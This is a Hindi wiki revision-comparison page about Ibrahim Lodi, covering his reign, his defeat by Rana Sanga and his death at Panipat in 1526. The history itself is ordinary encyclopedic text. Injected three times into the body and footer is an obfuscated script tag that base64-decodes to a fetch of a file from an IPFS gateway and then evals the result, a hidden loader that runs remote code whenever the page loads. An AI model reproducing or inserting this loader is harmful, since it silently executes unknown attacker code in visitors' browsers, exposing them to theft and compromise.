"इब्राहीम लोदी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Adding category Category:संदर्भ चाहिए (को हटा दिया गया हैं।))
 
(3 सदस्यों द्वारा किये गये बीच के 3 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
[[सिकन्दर शाह लोदी]] के मरने के बाद अमीरों ने आम सहमति से उसके पुत्र '''इब्राहीम लोदी''' (1517-1526 ई.) को 21 नवम्बर, 1517 को [[आगरा]] के सिंहासन पर बैठाया। अपने शासन काल के शुरू में उसने [[राजपूत|राजपूतों]] से [[ग्वालियर]] छीन लिया, परन्तु उसने [[अफ़ग़ान]] सरदारों को कड़े नियंत्रण में रखने की जो नीति अपनायी तथा उनके साथ जिस प्रकार का कठोर व्यवहार किया, उससे वे उसके विरोधी बन गये। इब्राहीम लोदी [[दिल्ली]] का अन्तिम सुल्तान था। 21 अप्रैल, 1526 को [[पानीपत]] के मैदान इब्राहीम लोदी की हत्या कर दी गई।
+
[[चित्र:Ibrahim-Lodhi.jpg|thumb|इब्राहीम लोदी<br />Ibrahim Lodhi]]
 +
[[सिकन्दर शाह लोदी]] के मरने के बाद अमीरों ने आम सहमति से उसके पुत्र '''इब्राहीम लोदी''' (1517-1526 ई.) को [[21 नवम्बर]], 1517 को [[आगरा]] के सिंहासन पर बैठाया। अपने शासन काल के शुरू में उसने [[राजपूत|राजपूतों]] से [[ग्वालियर]] छीन लिया, परन्तु उसने [[अफ़ग़ान]] सरदारों को कड़े नियंत्रण में रखने की जो नीति अपनायी तथा उनके साथ जिस प्रकार का कठोर व्यवहार किया, उससे वे उसके विरोधी बन गये। इब्राहीम लोदी [[दिल्ली]] का अन्तिम सुल्तान था। [[21 अप्रैल]], 1526 को [[पानीपत]] के मैदान इब्राहीम लोदी की हत्या कर दी गई।
 
==असफलता==
 
==असफलता==
 
'''इब्राहीम लोदी ने राज्य का''' विभाजन करके अपने भाई 'जलाल ख़ाँ' को [[जौनपुर]] का शासक नियुक्त किया, परन्तु बाद में जौनपुर को अपने राज्य में मिला लिया। सिंहासन पर बैठने के उपरान्त इब्राहीम ने आजम हुमायूं शेरवानी को [[ग्वालियर]] पर आक्रमण करने हेतु भेजा। वहाँ के तत्कालीन शासक विक्रमजीत सिंह ने इब्राहीम की अधीनता स्वीकार कर ली। [[मेवाड़]] के शासक [[राणा साँगा]] के विरुद्ध इब्राहीम लोदी का अभियान असफल रहा। खतौली के युद्ध में इब्राहीम लोदी राणा साँगा से हार गया। इस युद्ध में राणा साँगा ने अपना बाँया हाथ खो दिया। राणा साँगा ने चन्देरी पर अधिकार कर लिया।
 
'''इब्राहीम लोदी ने राज्य का''' विभाजन करके अपने भाई 'जलाल ख़ाँ' को [[जौनपुर]] का शासक नियुक्त किया, परन्तु बाद में जौनपुर को अपने राज्य में मिला लिया। सिंहासन पर बैठने के उपरान्त इब्राहीम ने आजम हुमायूं शेरवानी को [[ग्वालियर]] पर आक्रमण करने हेतु भेजा। वहाँ के तत्कालीन शासक विक्रमजीत सिंह ने इब्राहीम की अधीनता स्वीकार कर ली। [[मेवाड़]] के शासक [[राणा साँगा]] के विरुद्ध इब्राहीम लोदी का अभियान असफल रहा। खतौली के युद्ध में इब्राहीम लोदी राणा साँगा से हार गया। इस युद्ध में राणा साँगा ने अपना बाँया हाथ खो दिया। राणा साँगा ने चन्देरी पर अधिकार कर लिया।
पंक्ति 5: पंक्ति 6:
 
'''मेवाड़ एवं इब्राहीम लोदी''' के बीच झगड़े का मुख्य कारण [[मालवा]] पर अधिकार को लेकर था। इब्राहीम के भाई जलाल ख़ाँ ने जौनपुर को अपने अधिकार में कर लिया था। उसने [[कालपी]] में ‘जलालुद्दीन’ की उपाधि के साथ अपना राज्याभिषेक करवाया था। इब्राहीम लोदी ने लोहानी, फारमूली एवं लोदी जातियों के दमन का पूर्ण प्रयास किया, जिससे शक्तिशाली सरदार असंतुष्ट हो गये।
 
'''मेवाड़ एवं इब्राहीम लोदी''' के बीच झगड़े का मुख्य कारण [[मालवा]] पर अधिकार को लेकर था। इब्राहीम के भाई जलाल ख़ाँ ने जौनपुर को अपने अधिकार में कर लिया था। उसने [[कालपी]] में ‘जलालुद्दीन’ की उपाधि के साथ अपना राज्याभिषेक करवाया था। इब्राहीम लोदी ने लोहानी, फारमूली एवं लोदी जातियों के दमन का पूर्ण प्रयास किया, जिससे शक्तिशाली सरदार असंतुष्ट हो गये।
 
==पराजय एवं मृत्यु==
 
==पराजय एवं मृत्यु==
'''इब्राहीम के असंतुष्ट सरदारों में''' [[पंजाब]] का शासक ‘दौलत ख़ाँ लोदी’ एवं इब्राहीम लोदी के चाचा ‘आलम ख़ाँ’ ने [[काबुल]] के तैमूर वंशी शासक [[बाबर]] को [[भारत]] पर आक्रमण के लिए निमंत्रण दिया। बाबर ने यह निमंत्रण स्वीकार कर लिया और वह भारत आया। 21 अप्रैल, 1526 को [[पानीपत]] के मैदान में इब्राहीम लोदी और बाबर के मध्य हुए भयानक संघर्ष में लोदी की बुरी तरह हार हुई और उसकी हत्या कर दी गई। इब्राहिम लोदी की सबसे बड़ी दुर्बलता उसका हठी स्वभाव था। उसके समय की प्रमुख विशेषता उसका अपने सरदारों से संघर्ष था। इब्राहीम की मृत्यु के साथ ही [[दिल्ली सल्तनत]] समाप्त हो गई और बाबर ने भारत में एक नवीन वंश ‘[[मुग़ल वंश]]’ की स्थापना की।
+
'''इब्राहीम के असंतुष्ट सरदारों में''' [[पंजाब]] का शासक ‘दौलत ख़ाँ लोदी’ एवं इब्राहीम लोदी के चाचा ‘[[आलम ख़ाँ]]’ ने [[काबुल]] के तैमूर वंशी शासक [[बाबर]] को [[भारत]] पर आक्रमण के लिए निमंत्रण दिया। बाबर ने यह निमंत्रण स्वीकार कर लिया और वह भारत आया। 21 अप्रैल, 1526 को [[पानीपत]] के मैदान में इब्राहीम लोदी और बाबर के मध्य हुए भयानक संघर्ष में लोदी की बुरी तरह हार हुई और उसकी हत्या कर दी गई। इब्राहिम लोदी की सबसे बड़ी दुर्बलता उसका हठी स्वभाव था। उसके समय की प्रमुख विशेषता उसका अपने सरदारों से संघर्ष था। इब्राहीम की मृत्यु के साथ ही [[दिल्ली सल्तनत]] समाप्त हो गई और बाबर ने भारत में एक नवीन वंश ‘[[मुग़ल वंश]]’ की स्थापना की।
 +
 
 
==विद्धानों के विचार==
 
==विद्धानों के विचार==
 
*फ़रिश्ता के अनुसार - “वह मृत्युपर्यन्त लड़ा और एक सैनिक भाँति मारा गया।”
 
*फ़रिश्ता के अनुसार - “वह मृत्युपर्यन्त लड़ा और एक सैनिक भाँति मारा गया।”
पंक्ति 18: पंक्ति 20:
 
|शोध=
 
|शोध=
 
}}
 
}}
 +
==संबंधित लेख==
 +
{{लोदी वंश}}{{दिल्ली सल्तनत}}
 +
[[Category:लोदी वंश]]
 
[[Category:इतिहास कोश]]
 
[[Category:इतिहास कोश]]
 
[[Category:दिल्ली सल्तनत]]
 
[[Category:दिल्ली सल्तनत]]
 +
[[Category:संदर्भ चाहिए]]
  
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

12:15, 17 मार्च 2013 के समय का अवतरण

इब्राहीम लोदी
Ibrahim Lodhi

सिकन्दर शाह लोदी के मरने के बाद अमीरों ने आम सहमति से उसके पुत्र इब्राहीम लोदी (1517-1526 ई.) को 21 नवम्बर, 1517 को आगरा के सिंहासन पर बैठाया। अपने शासन काल के शुरू में उसने राजपूतों से ग्वालियर छीन लिया, परन्तु उसने अफ़ग़ान सरदारों को कड़े नियंत्रण में रखने की जो नीति अपनायी तथा उनके साथ जिस प्रकार का कठोर व्यवहार किया, उससे वे उसके विरोधी बन गये। इब्राहीम लोदी दिल्ली का अन्तिम सुल्तान था। 21 अप्रैल, 1526 को पानीपत के मैदान इब्राहीम लोदी की हत्या कर दी गई।

असफलता

इब्राहीम लोदी ने राज्य का विभाजन करके अपने भाई 'जलाल ख़ाँ' को जौनपुर का शासक नियुक्त किया, परन्तु बाद में जौनपुर को अपने राज्य में मिला लिया। सिंहासन पर बैठने के उपरान्त इब्राहीम ने आजम हुमायूं शेरवानी को ग्वालियर पर आक्रमण करने हेतु भेजा। वहाँ के तत्कालीन शासक विक्रमजीत सिंह ने इब्राहीम की अधीनता स्वीकार कर ली। मेवाड़ के शासक राणा साँगा के विरुद्ध इब्राहीम लोदी का अभियान असफल रहा। खतौली के युद्ध में इब्राहीम लोदी राणा साँगा से हार गया। इस युद्ध में राणा साँगा ने अपना बाँया हाथ खो दिया। राणा साँगा ने चन्देरी पर अधिकार कर लिया।

झगड़े का कारण

मेवाड़ एवं इब्राहीम लोदी के बीच झगड़े का मुख्य कारण मालवा पर अधिकार को लेकर था। इब्राहीम के भाई जलाल ख़ाँ ने जौनपुर को अपने अधिकार में कर लिया था। उसने कालपी में ‘जलालुद्दीन’ की उपाधि के साथ अपना राज्याभिषेक करवाया था। इब्राहीम लोदी ने लोहानी, फारमूली एवं लोदी जातियों के दमन का पूर्ण प्रयास किया, जिससे शक्तिशाली सरदार असंतुष्ट हो गये।

पराजय एवं मृत्यु

इब्राहीम के असंतुष्ट सरदारों में पंजाब का शासक ‘दौलत ख़ाँ लोदी’ एवं इब्राहीम लोदी के चाचा ‘आलम ख़ाँ’ ने काबुल के तैमूर वंशी शासक बाबर को भारत पर आक्रमण के लिए निमंत्रण दिया। बाबर ने यह निमंत्रण स्वीकार कर लिया और वह भारत आया। 21 अप्रैल, 1526 को पानीपत के मैदान में इब्राहीम लोदी और बाबर के मध्य हुए भयानक संघर्ष में लोदी की बुरी तरह हार हुई और उसकी हत्या कर दी गई। इब्राहिम लोदी की सबसे बड़ी दुर्बलता उसका हठी स्वभाव था। उसके समय की प्रमुख विशेषता उसका अपने सरदारों से संघर्ष था। इब्राहीम की मृत्यु के साथ ही दिल्ली सल्तनत समाप्त हो गई और बाबर ने भारत में एक नवीन वंश ‘मुग़ल वंश’ की स्थापना की।

विद्धानों के विचार

  • फ़रिश्ता के अनुसार - “वह मृत्युपर्यन्त लड़ा और एक सैनिक भाँति मारा गया।”
  • नियामतुल्लाह का विचार है कि - “सुल्तान इब्राहिम लोदी के अतिरिक्त भारत का कोई अन्य सुल्तान युद्ध स्थल में नहीं मारा गया।”

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख